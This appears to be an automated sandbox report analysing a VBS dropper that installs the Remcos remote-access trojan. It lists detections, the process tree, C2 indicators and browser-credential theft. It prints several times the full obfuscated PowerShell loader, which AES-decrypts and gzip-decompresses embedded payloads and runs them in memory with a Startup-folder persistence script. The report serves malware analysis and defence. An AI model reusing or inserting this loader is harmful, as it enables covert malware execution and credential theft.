Edit tour

Windows Analysis Report
PO#2195112.vbs

Overview

General Information

Sample name:	PO#2195112.vbs
Analysis ID:	1466651
MD5:	0b3560c39b68490388b08e96e46a1dc6
SHA1:	bf04e9d0e08954027bc797a1d3723026320d4fb9
SHA256:	78d59fb49b75b46fa15aa5b9f9d69f7a83980486f12158783e619169aaac8884
Tags:	RATRemcosRATvbs
Infos:

Detection

Remcos

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Multi AV Scanner detection for submitted file

Sigma detected: Drops script at startup location

Sigma detected: Remcos

VBScript performs obfuscated calls to suspicious functions

AI detected suspicious sample

Connects to many ports of the same IP (likely port scanning)

Installs a global keyboard hook

Maps a DLL or memory area into another process

Potential malicious VBS script found (has network functionality)

Sigma detected: Base64 Encoded PowerShell Command Detected

Sigma detected: PowerShell Base64 Encoded FromBase64String Cmdlet

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious command line found

Suspicious execution chain found

Suspicious powershell command line found

Tries to harvest and steal browser information (history, passwords, etc)

Uses dynamic DNS services

Very long command line found

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Yara detected WebBrowserPassView password recovery tool

Abnormal high CPU Usage

Contains functionality for read data from the clipboard

Contains functionality to call native functions

Contains functionality to dynamically determine API calls

Contains functionality to modify clipboard data

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates a start menu entry (Start Menu\Programs\Startup)

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Gzip Archive Decode Via PowerShell

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Stores files to the Windows start menu directory

Uses code obfuscation techniques (call, push, ret)

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 712 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\PO#2195112.vbs" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 3472 cmdline: "C:\Windows\System32\cmd.exe" /c C:\Users\user\AppData\Roaming\dropped.bat MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 4416 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 4828 cmdline: C:\Windows\system32\cmd.exe /S /D /c" echo cls;powershell -w hidden;function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::FromBase64String('QipeuvuPHLjqQvGt9VT5aLclluvrXEdJm/QUWEGzhvQ='); $aes_var.IV=[System.Convert]::FromBase64String('K8KFKefFC/hhz69/oY9Vnw=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $cxhgH=New-Object System.IO.MemoryStream(,$param_var); $XWybH=New-Object System.IO.MemoryStream; $OXCUo=New-Object System.IO.Compression.GZipStream($cxhgH, [IO.Compression.CompressionMode]::Decompress); $OXCUo.CopyTo($XWybH); $OXCUo.Dispose(); $cxhgH.Dispose(); $XWybH.Dispose(); $XWybH.ToArray();}function execute_function($param_var,$param2_var){ $sMWNP=[System.Reflection.Assembly]::Load([byte[]]$param_var); $QqvvE=$sMWNP.EntryPoint; $QqvvE.Invoke($null, $param2_var);}$orZcJ = 'C:\Users\user\AppData\Roaming\dropped.bat';$host.UI.RawUI.WindowTitle = $orZcJ;$QZlmw=[System.IO.File]::ReadAllText($orZcJ).Split([Environment]::NewLine);foreach ($HiBel in $QZlmw) { if ($HiBel.StartsWith('gXFDerXikimqJOlowotV')) { $twZns=$HiBel.Substring(20); break; }}$payloads_var=[string[]]$twZns.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::FromBase64String($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::FromBase64String($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));$payload3_var=decompress_function (decrypt_function ([Convert]::FromBase64String($payloads_var[2].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var $null;execute_function $payload3_var (,[string[]] ('')); " MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

powershell.exe (PID: 1484 cmdline: "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

powershell.exe (PID: 6836 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

powershell.exe (PID: 2432 cmdline: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe /stext "C:\Users\user\AppData\Local\Temp\oaanp" MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

powershell.exe (PID: 6484 cmdline: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe /stext "C:\Users\user\AppData\Local\Temp\oaanp" MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

powershell.exe (PID: 7072 cmdline: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe /stext "C:\Users\user\AppData\Local\Temp\oaanp" MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

powershell.exe (PID: 6408 cmdline: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe /stext "C:\Users\user\AppData\Local\Temp\qungqkxv" MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

powershell.exe (PID: 3984 cmdline: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe /stext "C:\Users\user\AppData\Local\Temp\qungqkxv" MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

powershell.exe (PID: 3004 cmdline: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe /stext "C:\Users\user\AppData\Local\Temp\bxtzrdixjge" MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

cmd.exe (PID: 2528 cmdline: C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SC.cmd" " MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 6272 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 4948 cmdline: C:\Windows\system32\cmd.exe /S /D /c" echo cls;powershell -w hidden;function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::FromBase64String('QipeuvuPHLjqQvGt9VT5aLclluvrXEdJm/QUWEGzhvQ='); $aes_var.IV=[System.Convert]::FromBase64String('K8KFKefFC/hhz69/oY9Vnw=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $cxhgH=New-Object System.IO.MemoryStream(,$param_var); $XWybH=New-Object System.IO.MemoryStream; $OXCUo=New-Object System.IO.Compression.GZipStream($cxhgH, [IO.Compression.CompressionMode]::Decompress); $OXCUo.CopyTo($XWybH); $OXCUo.Dispose(); $cxhgH.Dispose(); $XWybH.Dispose(); $XWybH.ToArray();}function execute_function($param_var,$param2_var){ $sMWNP=[System.Reflection.Assembly]::Load([byte[]]$param_var); $QqvvE=$sMWNP.EntryPoint; $QqvvE.Invoke($null, $param2_var);}$orZcJ = 'C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SC.cmd';$host.UI.RawUI.WindowTitle = $orZcJ;$QZlmw=[System.IO.File]::ReadAllText($orZcJ).Split([Environment]::NewLine);foreach ($HiBel in $QZlmw) { if ($HiBel.StartsWith('gXFDerXikimqJOlowotV')) { $twZns=$HiBel.Substring(20); break; }}$payloads_var=[string[]]$twZns.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::FromBase64String($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::FromBase64String($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));$payload3_var=decompress_function (decrypt_function ([Convert]::FromBase64String($payloads_var[2].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var $null;execute_function $payload3_var (,[string[]] ('')); " MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

powershell.exe (PID: 6184 cmdline: "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

powershell.exe (PID: 5112 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Remcos, RemcosRAT	Remcos (acronym of Remote Control & Surveillance Software) is a commercial Remote Access Tool to remotely control computers.Remcos is advertised as legitimate software which can be used for surveillance and penetration testing purposes, but has been used in numerous hacking campaigns.Remcos, once installed, opens a backdoor on the computer, granting full access to the remote user.Remcos is developed by the cybersecurity company BreakingSecurity.	APT33 The Gorgon Group UAC-0050	http://malware-traffic-analysis.net/2017/12/22/index.html https://0xmrmagnezi.github.io/malware%20analysis/RemcosRAT/ https://asec.ahnlab.com/en/32376/ https://asec.ahnlab.com/ko/25837/ https://asec.ahnlab.com/ko/32101/	https://malpedia.caad.fkie.fraunhofer.de/details/win.remcos

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: powershell.exe PID: 7072	JoeSecurity_WebBrowserPassView	Yara detected WebBrowserPassView password recovery tool	Joe Security

Sigma Signatures

System Summary

Sigma detected: Base64 Encoded PowerShell Command Detected

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: C:\Windows\system32\cmd.exe /S /D /c" echo cls;powershell -w hidden;function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::FromBase64String('QipeuvuPHLjqQvGt9VT5aLclluvrXEdJm/QUWEGzhvQ='); $aes_var.IV=[System.Convert]::FromBase64String('K8KFKefFC/hhz69/oY9Vnw=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $cxhgH=New-Object System.IO.MemoryStream(,$param_var); $XWybH=New-Object System.IO.MemoryStream; $OXCUo=New-Object System.IO.Compression.GZipStream($cxhgH, [IO.Compression.CompressionMode]::Decompress); $OXCUo.CopyTo($XWybH); $OXCUo.Dispose(); $cxhgH.Dispose(); $XWybH.Dispose(); $XWybH.ToArray();}function execute_function($param_var,$param2_var){ $sMWNP=[System.Reflection.Assembly]::Load([byte[]]$param_var); $QqvvE=$sMWNP.EntryPoint; $QqvvE.Invoke($null, $param2_var);}$orZcJ = 'C:\Users\user\AppData\Roaming\dropped.bat';$host.UI.RawUI.WindowTitle = $orZcJ;$QZlmw=[System.IO.File]::ReadAllText($orZcJ).Split([Environment]::NewLine);foreach ($HiBel in $QZlmw) { if ($HiBel.StartsWith('gXFDerXikimqJOlowotV')) { $twZns=$HiBel.Substring(20); break; }}$payloads_var=[string[]]$twZns.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::FromBase64String($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::FromBase64String($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));$payload3_var=decompress_function (decrypt_function ([Convert]::FromBase64String($payloads_var[2].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var $null;execute_function $payload3_var (,[string[]] ('')); ", CommandLine: C:\Windows\system32\cmd.exe /S /D /c" echo cls;powershell -w hidden;function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::FromBase64String('QipeuvuPHLjqQvGt9VT5aLclluvrXEdJm/QUWEGzhvQ='); $aes_var.IV=[System.Convert]::FromBase64String('K8KFKefFC/hhz69/oY9Vnw=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $cxhgH=New-Object System.IO.MemoryStream(,$param_var); $XWybH=New-Object System.IO.MemoryStream; $OXCUo=New-Object System.IO.Compression.GZipStream($cxhgH, [IO.Compression.CompressionMode]::Decompress); $OXCUo.CopyTo($XWybH); $OXCUo.Dispose(); $cxhgH.D

Sigma detected: PowerShell Base64 Encoded FromBase64String Cmdlet

Source: Process started

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe /stext "C:\Users\user\AppData\Local\Temp\oaanp", CommandLine: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe /stext "C:\Users\user\AppData\Local\Temp\oaanp", CommandLine|base64offset|contains: ^, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe", ParentImage: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentProcessId: 1484, ParentProcessName: powershell.exe, ProcessCommandLine: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe /stext "C:\Users\user\AppData\Local\Temp\oaanp", ProcessId: 2432, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\PO#2195112.vbs", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\PO#2195112.vbs", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4004, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\PO#2195112.vbs", ProcessId: 712, ProcessName: wscript.exe

Sigma detected: Gzip Archive Decode Via PowerShell

Source: Process started

Author: Hieu Tran: Data: Command: C:\Windows\system32\cmd.exe /S /D /c" echo cls;powershell -w hidden;function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::FromBase64String('QipeuvuPHLjqQvGt9VT5aLclluvrXEdJm/QUWEGzhvQ='); $aes_var.IV=[System.Convert]::FromBase64String('K8KFKefFC/hhz69/oY9Vnw=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $cxhgH=New-Object System.IO.MemoryStream(,$param_var); $XWybH=New-Object System.IO.MemoryStream; $OXCUo=New-Object System.IO.Compression.GZipStream($cxhgH, [IO.Compression.CompressionMode]::Decompress); $OXCUo.CopyTo($XWybH); $OXCUo.Dispose(); $cxhgH.Dispose(); $XWybH.Dispose(); $XWybH.ToArray();}function execute_function($param_var,$param2_var){ $sMWNP=[System.Reflection.Assembly]::Load([byte[]]$param_var); $QqvvE=$sMWNP.EntryPoint; $QqvvE.Invoke($null, $param2_var);}$orZcJ = 'C:\Users\user\AppData\Roaming\dropped.bat';$host.UI.RawUI.WindowTitle = $orZcJ;$QZlmw=[System.IO.File]::ReadAllText($orZcJ).Split([Environment]::NewLine);foreach ($HiBel in $QZlmw) { if ($HiBel.StartsWith('gXFDerXikimqJOlowotV')) { $twZns=$HiBel.Substring(20); break; }}$payloads_var=[string[]]$twZns.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::FromBase64String($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::FromBase64String($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));$payload3_var=decompress_function (decrypt_function ([Convert]::FromBase64String($payloads_var[2].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var $null;execute_function $payload3_var (,[string[]] ('')); ", CommandLine: C:\Windows\system32\cmd.exe /S /D /c" echo cls;powershell -w hidden;function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::FromBase64String('QipeuvuPHLjqQvGt9VT5aLclluvrXEdJm/QUWEGzhvQ='); $aes_var.IV=[System.Convert]::FromBase64String('K8KFKefFC/hhz69/oY9Vnw=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $cxhgH=New-Object System.IO.MemoryStream(,$param_var); $XWybH=New-Object System.IO.MemoryStream; $OXCUo=New-Object System.IO.Compression.GZipStream($cxhgH, [IO.Compression.CompressionMode]::Decompress); $OXCUo.CopyTo($XWybH); $OXCUo.Dispose(); $cxhgH.D

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\PO#2195112.vbs", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\PO#2195112.vbs", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4004, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\PO#2195112.vbs", ProcessId: 712, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe", CommandLine: "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe", CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c C:\Users\user\AppData\Roaming\dropped.bat, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 3472, ParentProcessName: cmd.exe, ProcessCommandLine: "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe", ProcessId: 1484, ProcessName: powershell.exe

Data Obfuscation

Sigma detected: Drops script at startup location

Source: File created

Author: Joe Security: Data: EventID: 11, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 1484, TargetFilename: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SC.cmd

Stealing of Sensitive Information

Sigma detected: Remcos

Source: File created

Author: Joe Security: Data: EventID: 11, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 1484, TargetFilename: C:\ProgramData\remcos\logs.dat

Snort Signatures

⊘No Snort rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: PO#2195112.vbs	ReversingLabs: Detection: 23%
Source: PO#2195112.vbs	Virustotal: Detection: 7%			Perma Link

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 99.9% probability

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Code function: 17_2_00407898 FindFirstFileA,FindNextFileA,strlen,strlen,

17_2_00407898

Source: C:\Windows\System32\cmd.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	File opened: C:\Users\user\AppData\Roaming\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	File opened: C:\Users\user\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	File opened: C:\Users\user\AppData\	Jump to behavior

Software Vulnerabilities

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Networking

Connects to many ports of the same IP (likely port scanning)

Source: global traffic

TCP traffic: 64.188.16.157 ports 35890,0,3,5,8,9

Potential malicious VBS script found (has network functionality)

Source:

Initial file: binaryStream.SaveToFile file, 2

Uses dynamic DNS services

Source: unknown

DNS query: name: ab9001.ddns.net

Source: global traffic

TCP traffic: 192.168.2.6:49710 -> 64.188.16.157:35890

Source: global traffic

HTTP traffic detected: GET /json.gp HTTP/1.1Host: geoplugin.netCache-Control: no-cache

Source: Joe Sandbox View

IP Address: 178.237.33.50 178.237.33.50

Source: Joe Sandbox View

ASN Name: ASN-QUADRANET-GLOBALUS ASN-QUADRANET-GLOBALUS

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic

HTTP traffic detected: GET /json.gp HTTP/1.1Host: geoplugin.netCache-Control: no-cache

Source: powershell.exe, 00000011.00000002.2272649918.0000000000400000.00000040.80000000.00040000.00000000.sdmp	String found in binary or memory: Software\America Online\AOL Instant Messenger (TM)\CurrentVersion\Users%s\Loginprpl-msnprpl-yahooprpl-jabberprpl-novellprpl-oscarprpl-ggprpl-ircaccounts.xmlaimaim_1icqicq_1jabberjabber_1msnmsn_1yahoogggg_1http://www.imvu.comhttp://www.ebuddy.comhttps://www.google.com equals www.ebuddy.com (eBuggy)
Source: powershell.exe, powershell.exe, 00000011.00000002.2272649918.0000000000400000.00000040.80000000.00040000.00000000.sdmp	String found in binary or memory: http://www.ebuddy.com equals www.ebuddy.com (eBuggy)
Source: powershell.exe, 0000000E.00000002.2285095150.000000000319E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_authorize.srf?client_id=00000000480728C5&scope=service::ssl.live.com::MBI_SSL&response_type=token&display=windesktop&theme=win7&lc=2057&redirect_uri=https://login.live.com/oauth20_desktop.srf&lw=1&fl=wld2https://login.live.com/oauth20_authorize.srfhttps://login.live.com/oauth20_desktop.srf?lc=1033https://login.live.com/oauth20_desktop.srfhttps://login.live.com/oauth20_logout.srf?client_id=00000000480728C5&redirect_uri=https://login.live.com/oauth20_desktop.srfhttps://login.live.com/oauth20_logout.srffile://192.168.2.1/all/install/setup.au3file:///C:/Windows/system32/oobe/FirstLogonAnim.htmlhttps://www.google.com/accounts/serviceloginhttp://www.facebook.com/https://login.yahoo.com/config/login,x equals www.facebook.com (Facebook)
Source: powershell.exe, 0000000E.00000002.2285095150.000000000319E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_authorize.srf?client_id=00000000480728C5&scope=service::ssl.live.com::MBI_SSL&response_type=token&display=windesktop&theme=win7&lc=2057&redirect_uri=https://login.live.com/oauth20_desktop.srf&lw=1&fl=wld2https://login.live.com/oauth20_authorize.srfhttps://login.live.com/oauth20_desktop.srf?lc=1033https://login.live.com/oauth20_desktop.srfhttps://login.live.com/oauth20_logout.srf?client_id=00000000480728C5&redirect_uri=https://login.live.com/oauth20_desktop.srfhttps://login.live.com/oauth20_logout.srffile://192.168.2.1/all/install/setup.au3file:///C:/Windows/system32/oobe/FirstLogonAnim.htmlhttps://www.google.com/accounts/serviceloginhttp://www.facebook.com/https://login.yahoo.com/config/login,x equals www.yahoo.com (Yahoo)
Source: powershell.exe, 0000000E.00000002.2283024317.0000000000400000.00000040.80000000.00040000.00000000.sdmp	String found in binary or memory: ~@:9@0123456789ABCDEFURL index.datvisited:https://www.google.com/accounts/serviceloginhttp://www.facebook.com/https://login.yahoo.com/config/login$ equals www.facebook.com (Facebook)
Source: powershell.exe, 0000000E.00000002.2283024317.0000000000400000.00000040.80000000.00040000.00000000.sdmp	String found in binary or memory: ~@:9@0123456789ABCDEFURL index.datvisited:https://www.google.com/accounts/serviceloginhttp://www.facebook.com/https://login.yahoo.com/config/login$ equals www.yahoo.com (Yahoo)

Source: global traffic	DNS traffic detected: DNS query: ab9001.ddns.net
Source: global traffic	DNS traffic detected: DNS query: geoplugin.net

Source: bhv8D61.tmp.14.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: bhv8D61.tmp.14.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: bhv8D61.tmp.14.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootG2.crt0
Source: bhv8D61.tmp.14.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootG2.crt0B
Source: bhv8D61.tmp.14.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootG3.crt0
Source: bhv8D61.tmp.14.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2SecureServerCA-2.crt0
Source: bhv8D61.tmp.14.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTLSRSASHA2562020CA1-1.crt0
Source: bhv8D61.tmp.14.dr	String found in binary or memory: http://cacerts.digicert.com/GeoTrustGlobalTLSRSA4096SHA2562022CA1.crt0
Source: bhv8D61.tmp.14.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: bhv8D61.tmp.14.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: bhv8D61.tmp.14.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootG2.crl0
Source: bhv8D61.tmp.14.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootG2.crl07
Source: bhv8D61.tmp.14.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootG3.crl07
Source: bhv8D61.tmp.14.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTLSRSASHA2562020CA1-4.crl0
Source: bhv8D61.tmp.14.dr	String found in binary or memory: http://crl3.digicert.com/DigicertSHA2SecureServerCA-1.crl0?
Source: bhv8D61.tmp.14.dr	String found in binary or memory: http://crl3.digicert.com/GeoTrustGlobalTLSRSA4096SHA2562022CA1.crl0H
Source: bhv8D61.tmp.14.dr	String found in binary or memory: http://crl3.digicert.com/Omniroot2025.crl0
Source: bhv8D61.tmp.14.dr	String found in binary or memory: http://crl3.digicert.com/Omniroot2025.crl0=
Source: bhv8D61.tmp.14.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: bhv8D61.tmp.14.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootG2.crl0
Source: bhv8D61.tmp.14.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootG3.crl0
Source: bhv8D61.tmp.14.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertTLSRSASHA2562020CA1-4.crl0
Source: bhv8D61.tmp.14.dr	String found in binary or memory: http://crl4.digicert.com/DigicertSHA2SecureServerCA-1.crl0
Source: bhv8D61.tmp.14.dr	String found in binary or memory: http://crl4.digicert.com/GeoTrustGlobalTLSRSA4096SHA2562022CA1.crl0
Source: bhv8D61.tmp.14.dr	String found in binary or memory: http://geoplugin.net/json.gp
Source: bhv8D61.tmp.14.dr	String found in binary or memory: http://ocsp.digicert.com0
Source: bhv8D61.tmp.14.dr	String found in binary or memory: http://ocsp.digicert.com0:
